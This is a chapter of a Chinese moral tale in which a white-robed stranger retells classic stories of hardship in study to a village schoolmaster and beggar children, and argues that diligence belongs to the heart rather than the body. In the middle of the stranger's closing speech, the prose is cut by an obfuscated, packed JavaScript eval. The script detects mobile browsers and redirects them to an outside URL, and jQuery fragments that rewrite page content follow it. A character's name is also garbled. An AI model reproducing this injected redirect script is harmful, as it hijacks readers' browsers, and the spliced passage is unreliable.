楔子·冬至夜读


    腊月冬至，长安城“韦曲”巷深处，蒙馆窗纸透出昏黄灯火。馆中学究路先生正敲着戒尺，对几个孩童训话：


    “……尔等须知勤苦！古人披蒲编，削竹简——彼无书，且知勉！头悬梁，锥刺股——彼不教，自勤苦！如囊萤，如映雪——家虽贫，学不辍！如负薪，如挂角——身虽劳，犹苦卓！尔等有纸有笔，有灯有烛，若再懈怠，愧对古人！”


    孩童们缩着脖子，呵出的白气在冷空中凝成雾。墙角炭盆里，几块劣炭将熄未熄，散着微温。


    路先生翻开《劝学篇》，正要领读，巷外忽然传来清脆的童谣声：


    “蒲编软，竹简硬，无书无纸照样认。


    梁上绳，股上锥，不教不催自己背。


    囊萤光，映雪亮，家贫点灯借月亮。


    负薪读，挂角看，身劳心苦不叫难——”


    声音稚嫩欢快，与馆中肃杀格格不入。


    路先生皱眉推窗，见对街檐下，几个乞丐孩童正围着一个白衣人拍手唱谣。白衣人坐于蒲团，面前摆着几片蒲叶、几段竹筒。斗笠是苇秆与枯草混编，檐边缀着几粒冰凌。白衣是粗麻所制，洗得发白，肩上落着薄雪。木剑倚墙而立，剑穗是褪色的五色丝绦打成梅花结。面上蒙着本色棉纱，只一双眸子在暮色中清亮如星。


    “荒唐！”路先生推门而出，“尔等在此喧哗，扰人清读！”


    白衣人抬头，声音温润如春水：“路先生勿怪，孩子们唱的是古谣——正与先生所教相合。”


    “相合？”路先生冷笑，“古人勤苦，乃为圣学。尔等编作俚曲，嬉笑唱之，成何体统！”


    白衣人从怀中掏出几个热烘烘的烤薯，分给乞丐孩童，慢声道：“那便讲正经的——讲讲这蒲编、竹简、悬梁、刺股、囊萤、映雪、负薪、挂角的故事。路先生可愿一听？”


    一、 蒲编与竹简


    白衣人拿起一片蒲叶，指尖轻抚叶脉。


    “先说‘披蒲编’。西汉有路温舒，少时牧羊，无钱买书。见泽中蒲草丰茂，便采蒲叶，裁成册，借人《尚书》，抄于蒲叶上。牧羊时，挂于羊角，边牧边读。”


    他手指灵巧，将蒲叶折叠穿插，竟成一册小书模样。


    “再说‘削竹简’。公孙弘年轻时家贫，在渤海边替人放猪。欲读书，无简牍，便削海边竹林为简，以刀代笔，刻字其上。放猪时，将竹简系于腰间，猪吃草，他便读简。”


    白衣人又拿起竹筒，以指甲在筒身轻划，簌簌有声。


    路先生身后，蒙馆孩童也悄悄溜出来，缩在门边听。


    阿芦——路先生最顽劣的弟子——小声问：“先生，蒲叶写字，不会糊么？”


    “用炭灰写，不糊。”白衣人道，“路温舒后来成了司法官，断案公正，人颂‘路公明’。公孙弘官至宰相，倡儒学，设博士。二人所用蒲编、竹简，今在何处？”


    孩童们摇头。


    “腐了，朽了。”白衣人松手，蒲叶册散开，“可他们读进心里的字，没腐，没朽。”


    他将蒲叶分给孩子们：“古人无书，故知书贵。今人有书——”抬眼看了看蒙馆中堆叠的典籍，“可还知贵么？”


    二、 悬梁与刺股


    “再说‘头悬梁’。东汉孙敬，读书至夜深易困，便以绳系发，悬于梁上。一瞌睡，绳扯发根，立醒。”


    白衣人从怀中取出一段麻绳，虚虚在头顶比划。孩童们咯咯笑。


    “‘锥刺股’。战国苏秦，游说列国不成，归家苦读。夜倦欲眠，以锥刺股，血流至足。后佩六国相印，衣锦还乡。”


    他做了个刺腿动作，孩童们齐声“哎呀”。


    路先生颔首：“此方是勤苦典范！”


    白衣人却问：“路先生，孙敬后来如何？”


    “这……自是学有所成。”


    “苏秦佩六国相印后，又如何？”


    路先生语塞。他只教“勤苦”，何曾问“后来”？


    “孙敬成了学者，著书立说，可记得他系发的绳是什么绳？”白衣人自问自答，“麻绳。苏秦佩相印后，可还记得刺股的锥是铁锥是铜锥？不记得了。”


    “绳与锥，只是工具。勤苦是为明理，非为绳锥。”白衣人将麻绳编成个如意结，递给一个瑟瑟发抖的小乞丐，“天冷，系在颈上，保暖。”


    三、 囊萤与映雪


    夜色渐浓，雪又细细飘下。白衣人从怀中取出一只纱囊，囊中竟有微光点点——是几只冬萤，在囊中明明灭灭。


    “晋朝车胤，家贫无灯油。夏日捕萤火虫数十，置纱囊中，借光读书。冬日无萤，奈何？”


    他顿了顿，指向远处积雪的屋檐。


    “同朝孙康，亦家贫。冬夜借雪光读书，手足冻裂而不辍。二人后来皆成大儒。”


    阿芦又插嘴：“先生，萤火虫光那么暗，看得清么？”


    “看不清。”白衣人诚实道，“但车胤说：‘有一点光，便看一点；看一点，便明一点。’孙康说：‘雪光清冷，正可醒神。’”


    他解开纱囊，萤火虫飞出，在雪夜中划出微弱光痕。


    “囊萤映雪，世人只道勤苦，却不知二人所得，非在书中字，在那一‘光’——暗夜求光，贫寒求知的‘心光’。这心光，比萤亮，比雪明。”


    萤火渐飞渐高，融入细雪之中。孩童们仰头望着，一时无声。


    四、 负薪与挂角


    “最后说‘负薪’与‘挂角’。”白衣人拍拍身边一个背着柴捆的小乞丐，“汉朝朱买臣，家贫，砍柴为生。担柴入市，置书于扁担头，边走边读。妻嫌其贫，离去。买臣说：‘我读书，非为富贵，为明理。’后官至太守，妻求复合，买臣泼水于地，曰：‘覆水难收。’”


    “隋朝李密，少时放牛。骑牛访友，将《汉书》挂于牛角，边行边读。后成瓦岗军首领。”


    路先生听到此处，精神一振：“此二例最宜训蒙！身虽劳，犹苦卓！”


    白衣人却问小乞丐：“你背柴为何？”


    小乞丐怯怯道：“换饼吃。”


    “若让你背柴时读书，可愿？”


    小乞丐茫然：“读……读什么书？”


    “读‘柴’的书。”白衣人从柴捆中抽出一根枯枝，“这是什么柴？”


    “松……松枝。”


    “松枝何时砍最好？”


    “立冬后，油脂饱。”


    “为何要油脂饱？”


    “耐烧，暖久。”


    白衣人点头：“这便是学问。朱买臣读的是竹简上的字，你读的是松枝上的纹。他后来当太守，你将来或成樵中圣手——皆是学问。”


    又摸另一个小乞丐的头：“你放牛时，看牛吃草，可知牛爱吃什么草？”


    “嫩茅草。”


    “何时草最嫩？”


    “春三月，带露时。”


    “这便是你的《汉书》。”白衣人微笑，“李密挂角读史，你俯首观草。他知兴替，你知枯荣——皆是学问。”


    路先生怔在当场。


    五、 冬至的炭火


    雪愈密了。白衣人起身，从檐下抱进一捆干柴，在巷中空地点起篝火。火光熊熊，照亮孩童们冻红的脸。


    “路先生，”白衣人往火中添柴，“古人勤苦，为的什么？”


    “自然是为明圣学，济天下！”


    “若车胤、孙□□在今日，有灯有烛，可还会囊萤映雪？”


    “这……应是不会。”


    “那他们的勤苦精神，今人该如何学？”


    路先生语塞。


    白衣人用枯枝拨着火：“囊萤，是因无灯；映雪，是因无烛；悬梁刺股，是因易困；负薪挂角，是因劳作。今人有灯有烛，不困不劳，该如何学其精神？”


    他看向蒙馆孩童：“你们有纸笔，有灯火，有暖屋，有饱饭——可还知‘勤苦’二字怎么写？”


    孩童们低头。


    “勤，是心勤，非身勤。苦，是志苦，非身苦。”白衣人声音清朗，“车胤的心，是暗夜求光的心；孙康的心，是贫寒求知的心；孙敬的心，是困顿求醒的心；朱买臣的心，是劳作求明的心。今人无暗夜、无贫寒、无困顿、无劳作——可还有那颗心？”


    篝火噼啪，雪落无声。


    路先生忽然对白衣人深深一揖：“听君一席话，胜读十年书。老朽……惭愧。”


    白衣人还礼：“先生教勤苦，本心甚善。只是勤苦如药，当对症下药。今人症在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209036|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ‘心怠’，不在‘身怠’。当治心，非治身。”


    他将剩下的烤薯分给众人，对孩童们说：“吃完回家吧。明日若读书，想想古人为何勤苦——是为那卷书，还是为那颗心。”


    尾声·心光不灭


    那夜之后，韦曲巷蒙馆变了样子。


    路先生不再一味要求“悬梁刺股”，而是每讲古人勤苦，必问：“若是你，当如何？”馆中炭盆常暖，他说：“孙康映雪，是因贫寒；尔等有炭，当惜此暖，更当惜此时。”


    他带着孩童们拜访老樵夫，问松柏荣枯；拜访老农，问节气早晚；拜访铁匠，问火候深浅。他说：“此亦是书，亦是学。”


    阿芦后来成了药商，专营草药。他说：“松脂可入药，春草可医人——这都是当年白衣先生教的‘樵中学问’。”


    而那个冬至夜在巷中点篝火的白衣人，再未出现。但长安城里，渐渐流传开一首新童谣：


    “披蒲编，削竹简，无书无纸心要坚。


    头悬梁，锥刺股，不教不催心要悟。


    囊萤光，映雪亮，家贫心富是真亮。


    负薪读，挂角看，身苦心明是真看。


    勤苦不在身受苦，在那颗心求明白——”


    路先生八十寿辰时，学生在巷中为他立了块碑，刻着他晚年常说的话：


    “古人勤苦，苦在身；今人勤苦，当苦在心。心有光，何须囊萤映雪？心有志，何须悬梁刺股？心在学，担柴放牛皆是经。”


    有人说，这话是那白衣人说的。路先生抚碑微笑：“是谁说的，不重要。重要的是，咱们都听进去了。”


    听进去的，是那颗“心”。那颗在暗夜中求光、在贫寒中求知、在困顿中求醒、在劳作中求明的心。


    那心光，比萤亮，比雪明，比火暖，在每一个真正的读书人胸中，长明不灭。


    本章诫世


    一、 勤苦真义训


    - 披蒲编，削竹简。彼无书，且知勉。头悬梁，锥刺股。彼不教，自勤苦。如囊萤，如映雪。家虽贫，学不辍。如负薪，如挂角。身虽劳，犹苦卓


    - 破解法：求学者，自问“勤苦为何？苦身，还是苦心？学古人，学其迹，还是学其心？可只慕悬梁刺股之形，不慕求光求明之心？”


    二、 四苦四心


    - 蒲编竹简——无书之苦，求书之心


    - 悬梁刺股——困倦之苦，求醒之心


    - 囊萤映雪——暗贫之苦，求光之心


    - 负薪挂角——劳作之苦，求明之心


    - 四明：古人苦在身，今人当苦在心。无书时求书，有书时惜书；困倦时求醒，清醒时惜时；暗贫时求光，光明时惜光；劳作时求明，安闲时惜明。若只学其苦，不学其心，是买椟还珠


    三、 心光大道


    - 深层隐喻：勤苦是药，治怠惰之病。然病有不同：古人病在无书、困倦、暗贫、劳作，故以蒲编、悬梁、囊萤、负薪为药。今人病在有心怠、心迷、心暗、心盲，当以“求心”为药。若今人仍用古药，是药不对症


    - 终极指向：世人慕勤苦，易入歧途：慕其迹而忘其心，学其形而失其神。蒲会腐，简会朽，梁会朽，锥会锈，萤会死，雪会融，薪会尽，角会老。唯那颗求书、求醒、求光、求明的心，永不腐不朽不锈不死不融不尽不老


    冬至苦偈：


    冬至长安蒙馆寒，路师教童勤苦章。


    蒲编竹简悬梁股，囊萤映雪负薪角。


    白衣巷口说故事，古人勤苦苦在身。


    今人当苦苦在心，心有光明不借萤。


    从此蒙馆教勤苦，先问心光在何处。


    后世叹：


    披蒲编，削竹简，古人无书心有书。


    头悬梁，锥刺股，古人无教心有教。


    囊萤映雪负薪角，身苦心明是真学。


    路师教童苦其身，白衣说学苦其心。


    从此勤苦不在迹，在那颗心求明白。


    正是：


    冬至长安飞雪寒，蒙馆先生教勤苦。


    蒲编竹简悬梁股，萤雪薪角是楷模。


    白衣夜中说故事，勤苦苦身更苦心。


    从此读书先问心，心光长明胜囊萤。